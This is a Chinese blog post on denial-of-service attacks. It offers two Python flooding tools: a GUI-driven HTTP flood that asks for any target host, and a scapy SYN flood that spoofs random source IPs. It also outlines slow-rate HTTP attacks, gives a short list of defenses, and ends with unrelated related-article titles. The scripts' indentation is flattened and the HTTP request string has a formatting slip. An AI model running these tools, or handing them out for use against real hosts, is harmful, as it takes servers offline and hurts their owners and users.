DOS攻击(一)

介绍

DoS是Denial of Service的简称,即拒绝服务,造成DoS的攻击行为被称为DoS攻击,其目的是使计算机或网络无法提供正常的服务。最常见的DoS攻击有计算机网络带宽攻击和连通性攻击。DoS攻击是指故意的攻击网络协议实现的缺陷或直接通过野蛮手段残忍地耗尽被攻击对象的资源,目的是让目标计算机或网络无法提供正常的服务或资源访问,使目标系统服务系统停止响应甚至崩溃,而在此攻击中并不包括侵入目标服务器或目标网络设备。这些服务资源包括网络带宽,文件系统空间容量,开放的进程或者允许的连接。这种攻击会导致资源的匮乏,无论计算机的处理速度多快、内存容量多大、网络带宽的速度多快都无法避免这种攻击带来的后果。

python实现HTTP Flood

这里目标页面如果不填写默认为网站根目录, 攻击线程数并不是越多越好,线程数是访问一个socket队列获取已连接的socket然后进行dos攻击。因为python中队列取值早就封装了锁,如果线程过多就会频繁加解锁这就给了服务器喘息的机会。

点击stop中断dos攻击

import queue
import socket
import easygui
import threading def consumer(q):
while True:
try:
s = q.get()
s.send(bytes("dos", 'utf8'))
print("[+] send OK!\n")
q.put(s)
except Exception as error:
print("[-] send Exception\n")
s.close() def producer(q, host, port, request_packet):
for i in range(10000):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((host, port))
s.send(request_packet.encode("utf-8"))
print("[+] Send buf OK!\n")
q.put(s)
except Exception as error:
print("[-] Could not connect\n")
s.close() def main():
message = 'DOS攻击参数'
title = 'hello DOS'
attack_parameters = ['目标ip或域名', '目标端口', '攻击的目标页面', '线程数']
host, port, page, thread_num = easygui.multenterbox(message, title, attack_parameters,
values=['', 80, '', 5])
port, thread_num = int(port), int(thread_num)
q = queue.Queue()
if page is None:
page = '/' request_packet = (f"POST {page} HTTP/1.1\r\n"
"Host: {host}}\r\n"
"Content-Length: 1000000000\r\n"
"Cookie: dos=9527\r\n"
"\r\n") threading.Thread(target=producer, args=(q, host, port, request_packet), daemon=True).start()
threading.Thread(target=producer, args=(q, host, port, request_packet), daemon=True).start()
for i in range(thread_num):
threading.Thread(target=consumer, args=(q,), daemon=True).start() easygui.indexbox(title='DOS', msg='Ongoing attack', choices=['Stop']) if __name__ == '__main__':
main()

apache配置如下

开启攻击后网站直接无法访问

python 实现SYN Flood

from scapy.all import *

from scapy.layers.inet import IP, TCP

def syn_flood(target_ip, target_port):
while True:
# 随机的源IP
tmp = random.randint(10, 200)
src = f'{tmp}.{tmp + 1}.{tmp + 1}.{tmp - 1}'
IPlayer = IP(src=src, dst=target_ip)
TCPlayer = TCP(sport=4444, dport=target_port, flags="S")
packet = IPlayer / TCPlayer
send(packet) def main():
for i in range(thread_num):
threading.Thread(target=syn_flood, args=(target_ip, target_port), daemon=True).start()
time.sleep(attack_time) if __name__ == '__main__':
target_ip = '192.168.9.133'
target_port = 80
thread_num = 5
attack_time = 20
main()

上面是无法访问网站 下面这种synflood直接会让系统无法响应

源ip为随机ip 源端口也可以变成随机端口,右侧清一色的SYN请求

其他dos攻击

低速拒绝服务攻击(Low-rate Denial-of-Service attacks)

下面是正常get请求格式(纯手敲可能不规范)

GET或POST 路径 HTTP/1.1\r\n
Host:ip或域名\r\n
......
Connect:Keep-alive\r\n
\r\n
  • Slow headers

    Connection: keep-alive ,但是保证http请求不以\r\n结尾。这样服务器会以为请求头并没有结束,然后每隔一段时间发送一个包每隔一段时间发送一个包,慢慢的让服务器陪着我们耗着。这一直未发送结束的HTTP包会一直占用服务端的资源。

  • Slow body

    Content-length:10000000 请求体很长 一次发一点,耗服务器资源

  • Slow read

    调整TCP协议中滑动窗口大小,来对服务器单次发送的数据大小进行控制,使得服务器需要对一个相应包分为很多个包来发送

还有ping泛洪(ping-Flood),UDP泛洪(UDP-Flood),分片炸弹(fragmentation bombs),缓冲区溢出(buffer overflow)和ICMP路由重定向炸弹(ICMP routeing redirect bomb)等等

DODS只是放大版的DOS ,由单个计算机攻击变成了成批计算机一起进行攻击

防御方式

  1. 分布式集群硬抗
  2. DDOS防火墙异常流量清洗
  3. 将非必要的网页做成静态网页
  4. 加CDN中转
  5. web服务器对应配置
  6. echo 1 > /proc/sys/net/ipv4/tcp_syncookies 能显著的延缓SYN泛洪造成的网络资源缺失现象

DOS攻击(一)的更多相关文章

  1. Linux下的DOS攻击

    Linux下的DOS攻击 DOS是Denial of service的简称,即拒绝服务,造成Dos攻击行为被称为Dos攻击,其目的是使计算机或网络无法提供正常的服务.最常见的Dos攻击有计算机带宽攻击 ...

  2. XSS的DOS攻击之 server limit dos

    墨西哥同学周末很郁闷的在宾馆上网,发现youtube被ban了,于是写个了tool解决这个问题.顺带想到了一种利用 google 统计的漏洞,写在这里了 http://sirdarckcat.blog ...

  3. 利用UDP19端口实施DOS攻击的真实案例

    昨天在一个用户现场发现了一个利用UDP19端口对互联网受害者主机进行DOS攻击的真实案例.这个情况是我第一次见到,个人认为对以后遇到此类情况的兄弟具有参考价值.有必要做一个简单的分析记录. 在此次的分 ...

  4. DOS攻击和DDOS攻击有啥区别啊

    DDOS是DOS攻击中的一种方法. DoS:是Denial of Service的简称,即拒绝服务,不是DOS操作系统,造成DoS的攻击行为被称为DoS攻击,其目的是使计算机或网络无法提供正常的服务. ...

  5. dos攻击

    概念理解 DoS到底是什么?接触PC机较早的同志会直接想到微软磁盘操作系统的DOS--DiskOperationSystem?不,此DoS非彼DOS也,DoS即DenialOfService,拒绝服务 ...

  6. DOS攻击之详解--转载

    源地址没有找到,间接引用地址:http://wushank.blog.51cto.com/3489095/1156004 DoS到底是什么?接触PC机较早的同志会直接想到微软磁盘操作系统的DOS--D ...

  7. XML DOS 攻击

    内容来自此文:http://msdn.microsoft.com/en-us/magazine/ee335713.aspx DoS(Denial of service:拒绝服务)攻击由来已久(1992 ...

  8. TCP/IP具体解释--三次握手和四次握手 Dos攻击

    TCP连接的状态图 TCP建立连接的三次握手过程,以及关闭连接的四次握手过程 贴一个telnet建立连接,断开连接的使用wireshark捕获的packet截图. 1.建立连接协议(三次握手) (1) ...

  9. 真实故事:网站遭遇DOS攻击

     网站遭遇DOS攻击 一个.事件背景 长假对于IT人员来说是个短暂的休整时期,可IT系统却一时也不能停.越是节假日,越可能出大问题,以下要讲述的就是一起遭受DOS攻击的案例. 春节长假刚过完,小李 ...

  10. 远离DoS攻击 Windows Server 2016发布DNS政策

             Windows Server 2016的网络功能虽然没有获得像Docker容器和Nano Server同等重要的关注,但是管理员们应该了解的是,新的域名系统(Domain Name ...

随机推荐

  1. python 模块之 selenium 自动化使用教程

    一.安装 pip install Selenium 二.初始化浏览器 Chrome 是初始化谷歌浏览器 Firefox 是初始化火狐浏览器 Edge 是初始化IE浏览器 PhantomJS 是一个无界 ...

  2. Windows服务器上搭建Windows2003+IIS+ASP.NET+MSSQL网站

    一.安装IIS服务 1. 选择"开始"→"所有程序"→"管理工具"→"管理您的服务器"菜单命令,启动"添加或删 ...

  3. CVE-2017-7269(IIS远程代码执行)

    利用CVE-2017-7269让IIS向自己的msf反弹一个shell 漏洞编号:CVE2017-7269 服务器版本:Windows server 2003 中间件:IIS6.0 攻击工具:meta ...

  4. linux命令管道工作原理与使用方法

    一.管道定义 管道是一种两个进程间进行单向通信的机制.因为管道传递数据的单向性,管道又称为半双工管道.管道的这一特点决定了器使用的局限性.管道是Linux支持的最初Unix IPC形式之一,具有以下特 ...

  5. HC-05蓝牙模块使用教程

    1.接线 蓝牙模块 与 USB转TTL模块的接线: 5V->5V GND->GND RX->TXD TX->RXD 2.调试 给蓝牙模块上电,手机端下载蓝牙串口助手SPP,手机 ...

  6. C#中的类型转换-自定义隐式转换和显式转换

    目录 前言 基础知识 示例代码 实际应用 问题 答案 报错 用户定义的转换必须是转换成封闭类型,或者从封闭类型转换 参考 其他 应用和设计 读音 参考 前言 有时我们会遇到这么一种情况:在json数据 ...

  7. Mybatis 动态 sql 有什么用?执行原理?有哪些动态 sql?

    Mybatis 动态 sql 可以在 Xml 映射文件内,以标签的形式编写动态 sql,执行原理 是根据表达式的值 完成逻辑判断并动态拼接 sql 的功能. Mybatis 提供了 9 种动态 sql ...

  8. @Bean和@Componet区别

    无意在两个类上看到了这两个注解,一个使用了@Bean配合@Configuration,一个使用了@Componet.依稀记得这两个注解都是实现以前在xml中<bean xxx/>的功能,但 ...

  9. SpringDataJdbc整合MyBatis方式

    由于官方文档springdatajdbc整合mybatis过于简述,导致死磕了一段时间, SpringDataJdbc整合Mybatis的官方文档:https://docs.spring.io/spr ...

  10. Switch语句的条件只能接受什么类型的值

    switch语句只能针对基本数据类型使用,这些类型包括int.char.枚举.bool等.对于其他类型,则必须使用if语句. 在一个 switch 中可以有任意数量的 case 语句.每个 case ...